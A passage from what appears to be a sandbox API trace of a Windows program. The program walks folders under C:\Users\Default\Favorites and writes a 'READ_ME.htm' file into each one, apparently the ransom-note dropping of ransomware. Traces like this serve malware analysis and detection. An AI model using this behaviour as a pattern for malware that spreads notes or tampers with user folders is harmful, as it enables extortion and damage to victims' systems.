hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0143.817] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0143.817] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62abf4c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0143.817] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62abf4c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0143.817] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62abf4c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0143.817] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.818] SetErrorMode (uMode=0x0) returned 0x1 [0143.818] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites", lpFilePart=0x0) returned 0x1a [0143.818] SetErrorMode (uMode=0x1) returned 0x0 [0143.818] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\*" (normalized: "c:\\users\\default\\favorites\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.819] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.819] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.819] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0143.819] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0143.819] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62abf4c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0143.820] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62abf4c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0143.820] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62abf4c0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0143.820] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.821] SetErrorMode (uMode=0x0) returned 0x1 [0143.821] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites\\Links", lpFilePart=0x0) returned 0x20 [0143.821] SetErrorMode (uMode=0x1) returned 0x0 [0143.821] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\*" (normalized: "c:\\users\\default\\favorites\\links\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.822] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.823] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfefb1330, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.823] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0143.823] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0143.823] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.823] SetErrorMode (uMode=0x0) returned 0x1 [0143.823] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites\\Links", lpFilePart=0x0) returned 0x20 [0143.823] SetErrorMode (uMode=0x1) returned 0x0 [0143.824] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\*" (normalized: "c:\\users\\default\\favorites\\links\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.824] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfeffd5f0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.824] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfefb1330, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.824] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0143.824] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xb11062, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0143.824] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.824] SetErrorMode (uMode=0x0) returned 0x1 [0143.824] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites\\Links\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites\\Links\\READ_ME.htm", lpFilePart=0x0) returned 0x2c [0143.825] SetErrorMode (uMode=0x1) returned 0x0 [0143.825] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Links\\READ_ME.htm" (normalized: "c:\\users\\default\\favorites\\links\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.825] GetFileType (hFile=0x1d0) returned 0x1 [0143.825] SetErrorMode (uMode=0x0) returned 0x1 [0143.825] GetFileType (hFile=0x1d0) returned 0x1 [0143.825] WriteFile (in: hFile=0x1d0, lpBuffer=0x2866160*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2866160*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0143.827] CloseHandle (hObject=0x1d0) returned 1 [0143.827] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x2d [0143.827] SetErrorMode (uMode=0x1) returned 0x0 [0143.827] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.833] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.833] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0143.833] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0143.833] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0143.833] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0143.833] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0143.833] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0143.834] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.834] SetErrorMode (uMode=0x0) returned 0x1 [0143.835] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites\\Microsoft Websites", lpFilePart=0x0) returned 0x2d [0143.835] SetErrorMode (uMode=0x1) returned 0x0 [0143.835] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\*" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.836] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.837] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0143.837] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa066c0, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0143.837] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0143.837] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0143.837] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0143.837] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a26f40, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xa52981, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0143.838] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.839] SetErrorMode (uMode=0x0) returned 0x1 [0143.839] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Favorites\\Microsoft Websites\\READ_ME.htm", lpFilePart=0x0) returned 0x39 [0143.839] SetErrorMode (uMode=0x1) returned 0x0 [0143.839] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\READ_ME.htm" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.840] GetFileType (hFile=0x1d0) returned 0x1 [0143.840] SetErrorMode (uMode=0x0) returned 0x1 [0143.840] GetFileType (hFile=0x1d0) returned 0x1 [0143.840] WriteFile (in: 